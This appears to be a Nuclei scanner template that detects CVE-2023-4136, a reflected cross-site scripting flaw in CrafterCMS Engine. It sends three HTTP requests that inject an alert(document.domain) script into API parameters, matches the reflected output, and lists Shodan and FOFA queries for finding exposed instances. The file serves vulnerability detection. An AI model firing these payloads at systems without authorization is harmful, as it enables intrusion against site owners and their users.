id: CVE-2023-4136

info:
  name: CrafterCMS Engine - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    CrafterCMS Engine is vulnerable to reflected cross-site scripting (XSS) via the transformerName parameter in the /api/1/site/url/transform endpoint, allowing attackers to execute arbitrary JavaScript in the context of the user.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the transformerName parameter in various API endpoints to steal CrafterCMS user credentials and session data.
  remediation: |
    Update CrafterCMS Engine to the latest version that addresses this vulnerability.
  reference:
    - https://karmainsecurity.com/KIS-2023-09
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4136
  classification:
    cve-id: CVE-2023-4136
    cwe-id: CWE-79
    epss-score: 0.24936
    epss-percentile: 0.96243
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
    cvss-score: 6.1
  metadata:
    verified: true
    max-request: 1
    vendor: craftercms
    product: craftercms
    shodan-query: http.html:"craftercms"
    fofa-query: body="craftercms"
  tags: cve,cve2023,craftercms,xss,vuln

http:
  - raw:
      - |
        GET /api/1/site/url/transform?transformerName=%3Cscript%20xmlns%3D%22http%3A//www.w3.org/1999/xhtml%22%3Ealert(document.domain)%3C/script%3E&url= HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml

      - |
        GET /api/1/site/content_store/children?url=%3Cscript%20xmlns%3D%22http%3A//www.w3.org/1999/xhtml%22%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml

      - |
        GET /api/1/site/content_store/item?url=%3Cscript%20xmlns%3D%22http%3A//www.w3.org/1999/xhtml%22%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500 || status_code == 404'
          - 'contains(content_type, "application/xhtml+xml")'
          - 'contains(body, "<script xmlns=\"http://www.w3.org/1999/xhtml\">alert(document.domain)</script>")'
          - 'contains_any(body, "Url transformer", "No folder found at", "No item found at")'
        condition: and
# digest: 490a00463044022036835fd1e6e6389666f147db7d1a596a49376e90b0c1ca2974b704b51219d43102202633aeab09ed6d04869c378c7b892daa17ac39e82ae0bf2dde8a42a272b0e51f:922c64590222798bb761d5b6d8e72950